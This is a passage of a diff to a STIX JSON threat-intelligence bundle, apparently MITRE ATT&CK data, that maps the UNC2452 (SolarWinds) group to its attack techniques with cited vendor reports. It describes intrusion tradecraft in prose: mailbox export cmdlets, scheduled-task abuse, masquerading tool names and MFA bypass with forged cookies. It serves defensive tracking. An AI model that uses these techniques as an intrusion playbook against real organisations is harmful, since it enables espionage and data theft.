"2021-01-05T15:53:47.915Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", + "external_references": [ + { + "source_name": "Volexity SolarWinds", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020." + }, + { + "source_name": "Microsoft Analyzing Solorigate Dec 2020", + "url": "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/", + "description": "MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) used PowerShell to create new tasks on remote machines, identify configuration settings, exfiltrate data, and to execute other commands.(Citation: Volexity SolarWinds)(Citation: Microsoft Analyzing Solorigate Dec 2020)", + "relationship_type": "uses", + "id": "relationship--88ebe2b7-e7d8-4e7a-9d27-7e0a76d32a01", + "type": "relationship", + "modified": "2021-01-05T15:53:47.934Z", + "created": "2021-01-05T15:53:47.934Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", + "external_references": [ + { + "source_name": "Volexity SolarWinds", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) exploited CVE-2020-0688 against the Microsoft Exchange Control Panel to regain access to a network.(Citation: Volexity SolarWinds)", + "relationship_type": "uses", + "id": "relationship--dc25eff7-fbfe-48a0-aeb7-ae8d92e75978", + "type": "relationship", + "modified": "2021-01-05T15:53:47.938Z", + "created": "2021-01-05T15:53:47.938Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662", + "external_references": [ + { + "source_name": "Volexity SolarWinds", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020." + }, + { + "source_name": "Microsoft Deep Dive Solorigate January 2021", + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) used 7-Zip to compress stolen emails into password-protected archives prior to exfiltration.(Citation: Volexity SolarWinds)(Citation: Microsoft Deep Dive Solorigate January 2021)", + "relationship_type": "uses", + "id": "relationship--1e666d32-f7c8-452c-92d0-f8a9113dba07", + "type": "relationship", + "modified": "2021-01-25T14:25:12.792Z", + "created": "2021-01-05T17:45:48.827Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", + "external_references": [ + { + "source_name": "Volexity SolarWinds", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) named tasks \\Microsoft\\Windows\\SoftwareProtectionPlatform\\EventCacheManager in order to appear legitimate.(Citation: Volexity SolarWinds)", + "relationship_type": "uses", + "id": "relationship--e12a487a-6084-4078-8b30-b3a5fca8ce2e", + "type": "relationship", + "modified": "2021-01-05T17:45:48.860Z", + "created": "2021-01-05T17:45:48.860Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a", + "external_references": [ + { + "source_name": "Volexity SolarWinds", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) collected emails from specific individuals, such as executives and IT staff, using New-MailboxExportRequest followed by Get-MailboxExportRequest.(Citation: Volexity SolarWinds)", + "relationship_type": "uses", + "id": "relationship--c6ca900d-70ac-4749-bf88-61afac9c82c7", + "type": "relationship", + "modified": "2021-01-05T17:45:48.881Z", + "created": "2021-01-05T17:45:48.881Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "external_references": [ + { + "source_name": "Volexity SolarWinds", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020." + }, + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021." + }, + { + "source_name": "CrowdStrike SUNSPOT Implant January 2021", + "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/", + "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) used scheduler and schtasks to create new tasks on remote hosts as part of lateral movement.(Citation: Volexity SolarWinds) They also manipulated scheduled tasks by updating an existing legitimate task to execute their tools and then returned the scheduled task to its original configuration.(Citation: FireEye SUNBURST Backdoor December 2020) [UNC2452](https://attack.mitre.org/groups/G0118) also created a scheduled task to maintain [SUNSPOT](https://attack.mitre.org/software/S0562) persistence when the host booted.(Citation: CrowdStrike SUNSPOT Implant January 2021) ", + "relationship_type": "uses", + "id": "relationship--aae00959-7f9f-464d-9346-b53e6d46d3ee", + "type": "relationship", + "modified": "2021-01-13T16:30:52.561Z", + "created": "2021-01-05T17:45:48.883Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", + "external_references": [ + { + "source_name": "Volexity SolarWinds", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020." + }, + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) removed evidence of email export requests using Remove-MailboxExportRequest.(Citation: Volexity SolarWinds) They temporarily replaced legitimate utilities with their own, executed their payload, and then restored the original file.(Citation: FireEye SUNBURST Backdoor December 2020)", + "relationship_type": "uses", + "id": "relationship--b8bba514-9788-4f60-b4d1-54b8b22a67f5", + "type": "relationship", + "modified": "2021-01-25T17:29:14.989Z", + "created": "2021-01-05T17:45:48.893Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "external_references": [ + { + "source_name": "Volexity SolarWinds", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020." + }, + { + "source_name": "Microsoft Analyzing Solorigate Dec 2020", + "url": "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/", + "description": "MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) used cmd.exe to execute commands on remote machines.(Citation: Volexity SolarWinds)(Citation: Microsoft Analyzing Solorigate Dec 2020)", + "relationship_type": "uses", + "id": "relationship--b71bdebb-35dc-4deb-8ddd-fb6b42994224", + "type": "relationship", + "modified": "2021-01-05T17:45:48.885Z", + "created": "2021-01-05T17:45:48.885Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "external_references": [ + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) routinely removed their tools, including custom backdoors, once remote access was achieved.(Citation: FireEye SUNBURST Backdoor December 2020)", + "relationship_type": "uses", + "id": "relationship--b39fa2e6-1367-4ead-84d3-24aa7421df74", + "type": "relationship", + "modified": "2021-01-12T17:16:31.927Z", + "created": "2021-01-05T17:45:48.889Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "external_references": [ + { + "source_name": "Volexity SolarWinds", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020." + }, + { + "source_name": "Microsoft Analyzing Solorigate Dec 2020", + "url": "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/", + "description": "MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) renamed a version of [AdFind](https://attack.mitre.org/software/S0552) to sqlceip.exe or csrss.exe in an attempt to appear as the SQL Server Telemetry Client or Client Service Runtime Process, respectively.(Citation: Volexity SolarWinds)(Citation: Microsoft Analyzing Solorigate Dec 2020)", + "relationship_type": "uses", + "id": "relationship--b04a3b6e-7423-47d1-8be9-f8cbb0a4b283", + "type": "relationship", + "modified": "2021-01-25T17:29:15.013Z", + "created": "2021-01-05T17:45:48.894Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "external_references": [ + { + "source_name": "Volexity SolarWinds", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) obtained information about the configured Exchange virtual directory using Get-WebServicesVirtualDirectory.(Citation: Volexity SolarWinds)", + "relationship_type": "uses", + "id": "relationship--3d1ba730-3f10-499c-ada3-47d975d5b7e0", + "type": "relationship", + "modified": "2021-01-11T21:27:16.461Z", + "created": "2021-01-05T17:45:48.946Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b", + "external_references": [ + { + "source_name": "Volexity SolarWinds", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) used dynamic DNS resolution to construct and resolve to randomly-generated subdomains for C2.(Citation: Volexity SolarWinds)", + "relationship_type": "uses", + "id": "relationship--9f14d7a3-b9d7-49f2-994e-cb13b68f7a90", + "type": "relationship", + "modified": "2021-01-22T22:25:04.780Z", + "created": "2021-01-05T19:43:55.460Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306", + "external_references": [ + { + "source_name": "Volexity SolarWinds", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020." + }, + { + "source_name": "Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks", + "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/", + "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) added their own devices as allowed IDs for active sync using Set-CASMailbox, allowing it to obtain copies of victim mailboxes. It also added additional permissions (such as Mail.Read and Mail.ReadWrite) to compromised Application or Service Principals.(Citation: Volexity SolarWinds)(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks)", + "relationship_type": "uses", + "id": "relationship--3aa84fa9-a330-40e2-aa5b-95a545e3a230", + "type": "relationship", + "modified": "2021-01-05T22:07:14.021Z", + "created": "2021-01-05T19:43:55.461Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "external_references": [ + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) downloaded additional tools, such as [TEARDROP](https://attack.mitre.org/software/S0560) malware and [Cobalt Strike](https://attack.mitre.org/software/S0154), to the compromised host following initial compromise.(Citation: FireEye SUNBURST Backdoor December 2020)", + "relationship_type": "uses", + "id": "relationship--1101a059-6afe-4c41-aa9d-cd607f33ec68", + "type": "relationship", + "modified": "2021-01-12T17:16:31.943Z", + "created": "2021-01-05T19:43:55.453Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0", + "external_references": [ + { + "source_name": "Volexity SolarWinds", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) staged data and files in password-protected archives on a victim's OWA server.(Citation: Volexity SolarWinds)", + "relationship_type": "uses", + "id": "relationship--67a319cb-acfb-4546-a9ca-67e9d5905506", + "type": "relationship", + "modified": "2021-01-11T21:27:16.484Z", + "created": "2021-01-05T19:43:55.480Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--861b8fd2-57f3-4ee1-ab5d-c19c3b8c7a4a", + "external_references": [ + { + "source_name": "Volexity SolarWinds", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) bypassed MFA set on OWA accounts by generating a cookie value from a previously stolen secret key.(Citation: Volexity SolarWinds)", + "relationship_type": "uses", + "id": "relationship--8d397306-e9f8-4946-a1da-8ebfcc4d88a6", + "type": "relationship", + "modified": "2021-01-05T20:57:01.700Z", + "created": "2021-01-05T20:57:01.700Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0", + "external_references": [ + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021." + }, + { + "source_name": "CrowdStrike SUNSPOT Implant January 2021", + "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/", + "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021." + }, + { + "source_name": "Microsoft Deep Dive Solorigate January 2021", + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) developed [SUNSPOT](https://attack.mitre.org/software/S0562), [SUNBURST](https://attack.mitre.org/software/S0559), [TEARDROP](https://attack.mitre.org/software/S0560), and [Raindrop](https://attack.mitre.org/software/S0565); [SUNSPOT](https://attack.mitre.org/software/S0562) and [SUNBURST](https://attack.mitre.org/software/S0559) were tailored to be incorporated into SolarWind's Orion software library.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: CrowdStrike SUNSPOT Implant January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021)", + "relationship_type": "uses", + "id": "relationship--bc4f6257-4725-4413-8171-619154e5c57a", + "type": "relationship", + "modified": "2021-01-25T15:35:27.059Z", + "created": "2021-01-05T20:57:01.705Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082", + "external_references": [ + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) was able to get [SUNBURST](https://attack.mitre.org/software/S0559) signed by SolarWinds code signing certificates by injecting the malware into the SolarWinds Orion software lifecycle.(Citation: FireEye SUNBURST Backdoor December 2020)", + "relationship_type": "uses", + "id": "relationship--55131210-5f87-4661-828f-e57a485e9759", + "type": "relationship", + "modified": "2021-01-12T21:44:55.565Z", + "created": "2021-01-05T20:57:01.719Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "external_references": [ + { + "source_name": "Volexity SolarWinds", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) extracted files from compromised networks.(Citation: Volexity SolarWinds) ", + "relationship_type": "uses", + "id": "relationship--abd5d73c-9eec-494c-afae-d9d2f2456b7b", + "type": "relationship", + "modified": "2021-01-11T21:27:16.482Z", + "created": "2021-01-05T20:57:01.724Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "external_references": [ + { + "source_name": "Volexity SolarWinds", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) used HTTP for C2 and data exfiltration.(Citation: Volexity SolarWinds)", + "relationship_type": "uses", + "id": "relationship--91289d94-6a53-4976-8f88-92c1c5962f00", + "type": "relationship", + "modified": "2021-01-05T20:57:01.721Z", + "created": "2021-01-05T20:57:01.721Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "target_ref": "attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d", + "relationship_type": "mitigates", + "description": "Use least privilege and protect administrative access to the Domain Controller and Active Directory Federation Services (AD FS) server. Do not create service accounts with administrative privileges.", + "id": "relationship--48357d6a-6d00-42a6-b687-cbd5a9a8ecd6", + "type": "relationship", + "modified": "2021-01-11T19:48:38.055Z", + "created": "2021-01-05T21:50:07.511Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "external_references": [ + { + "source_name": "FireEye SUNBURST Backdoor December 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021." + }, + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) used different compromised credentials for remote access and to move laterally.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: MSTIC NOBELIUM Mar 2021)", + "relationship_type": "uses", + "id": "relationship--069a0319-d3ba-441e-967f-e7d5fd6d5227", + "type": "relationship", + "modified": "2021-03-12T15:58:49.588Z", + "created": "2021-01-05T22:07:13.771Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "external_references": [ + { + "source_name": "Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks", + "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/", + "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) used encoded PowerShell commands.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks)", + "relationship_type": "uses", + "id": "relationship--75560ec3-23f7-49e1-9dde-38f51db8b2b1", + "type": "relationship", + "modified": "2021-01-12T17:16:31.940Z", + "created": "2021-01-05T22:07:13.832Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", + "external_references": [ + { + "source_name": "Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks", + "url": 